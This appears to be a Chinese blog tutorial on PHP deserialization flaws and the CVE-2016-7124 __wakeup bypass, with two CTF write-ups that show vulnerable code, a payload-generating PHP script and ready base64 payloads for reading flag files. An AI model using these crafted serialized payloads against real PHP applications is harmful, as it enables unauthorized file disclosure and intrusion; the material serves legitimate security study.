首页 web安全

1.反序列化漏洞原理

原因在PHP5 < 5.6.25PHP7 < 7.0.10的版本存在wakeup方法绕过的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。

php反序列化时也就是unserialize($var);时,首先激活__construct()方法,接着唤醒__wakeup()方法,最后当该序列化结束的时候,执行__destruct()方法

所以当我们绕过__wakeup()方法后,可能会存在一些安全隐患,

序列化一般有以下几种类型

a – array
b – boolean
d – double
i – integer
o – common object
r – reference
s – string
C – custom object
O – class
N – null
R – pointer reference
U – unicode string

1.1 数组

array('Google', 'Runoob', 'Facebook');
a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}

1.2 对象

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?>
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

2 绕过wakeup()方法

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
?>

当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup__()。
本来经过序列化之后是

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

将其改为

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

成功绕过!

2. php反序列化漏洞

一,准备环境

docker pull duwentao/phpfanxuliehua:1.0

二,playload

http://172.24.10.137:8989/?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

3,EXP

[XCTF]Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

可以看出
观察demo类,有三个魔术方法:

__construct(),创建时自动调用,用得到的参数覆盖$file
__destruct(),销毁时调用,会显示文件的代码,这里要显示fl4g.php
__wakeup(),反序列化时调用,会把$file重置成index.php
绕过__wakeup()是利用CVE-2016-7124,例如O:4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}(正常是O:4:"Demo":1:...),反序列化化时不会触发__wakeup()
所以构造 payload

<?php
class Demo{
...
}
$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);
?>

生成payload。获得flag

[buuctf]Web_php_unserialize

<?php  
  error_reporting(0); 
    class SoFun{ 
        protected $file='index.php'; 
         
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
                    show_source(dirname(__FILE__).'/'.$this->file);
                else
                    die('Wrong filename.');
            }
        } 
         
        function __wakeup(){ 
            $this->file='index.php'; 
        } 
        public function __toString()
        {
            return '';
        }
         }
      

    if (!isset($_GET['file'])){ 
        show_source('index.php'); 
    } 
    else{ 
        $file=base64_decode($_GET['file']); 
        echo unserialize($file); 
        } 
?> 
<!--key in flag.php-->

2,分析

审计代码,可以发现要得到KEY,思路如下:

1、源码最后提示,KEY在flag.php里面;

2、注意到__destruct魔术方法中,有这么一段代码,将file文件内容显示出来show_source(dirname(FILE).’/‘.$this->file),这个是解题关键; __

3、若POST“file”参数为序列化对象,且将file设为flag.php;那么可以通过unserialize反序列化,进而调用__destruct魔术方法来显示flag.php源码(要注意的是file参数内容需要经过base64编码); __

4、上面的分析是多么美好,但从代码分析可以知道,还有wakeup这个拦路虎,通过unserialize反序列化之后,也会调用wakeup方法,它会把file设为index.php;

5、总结下来就是,想办法把file设为flag.php,调用destruct方法,且绕过wakeup。

3,绕过思路

当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

举个栗子,比如有个Student类,里面有个参数为name。

实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}

Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。

4,构造payload

明确了这些之后,就可以构造出Payload了,需反序列化的对象为:

O:5:”SoFun”:2:{S:7:”00*00file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2: 指的是 有两个对象

S:7:”0000file” 指的是有个属性,有7个字符,名为0000file

注意: 这里的S要大写 PHP 序列化(serialize)格式详解

s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php

值得注意的是, file是protected属性,因此需要用00*00来表示,00代表ascii为0的值。

另外,还需要经过Base64编码,结果为:

Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

四,补充

__construct 是构造函数在创建对象的时候调用

__destruct() 是析构函数在程序结束时调用

__wakeup()函数:

__wakeup()函数是用在反序列化操作中,unserialize()会去检查这个函数,如果存在,则调用这个函数。

<?php
class A{
    function __wakeup(){
    echo 'Hello';
    } 
    }
$c = new A();
$d = serialize($c);
$e=unserialize($d);
?>

输出hello

__wakeup漏洞代码

<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}

$s = new Student();
var_dump(serialize($s));
?>
最后页面上输出的就是Student对象的一个序列化输出,

O:7:”Student”: 3:{s:9:”full_name”;s:8:”zhangsan”;s:5:”score”;i:150;s:6:”grades”;a:0:{}}。

其中在Stuedent类后面有一个数字 3,整个3表示的就是Student类存在3个属性。

__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

当我们将上述的序列化的字符串中的对象属性修改为 5,变为

O:7:”Student”: 5:{s:9:”full_name”;s:8:”zhangsan”;s:5:”score”;i:150;s:6:”grades”;a:0:{}}。

最后执行运行的代码如下:

<?php
class Student{ 
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
} 
function __destruct() {
var_dump($this);
}
}

$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
?>

3.总结

通过学习,我们可以归纳几点:

  1. php反序列化漏洞一般存在的php版本在PHP5<5.6.25,PHP7<7.0.10
  2. 绕过__wakeup()函数可以增加对象属性数量
  3. 当变量是protected属性的时候,需要用00*00来表示,00代表ascii为0的值。并且将s 改为S,S为二进制表示



文章评论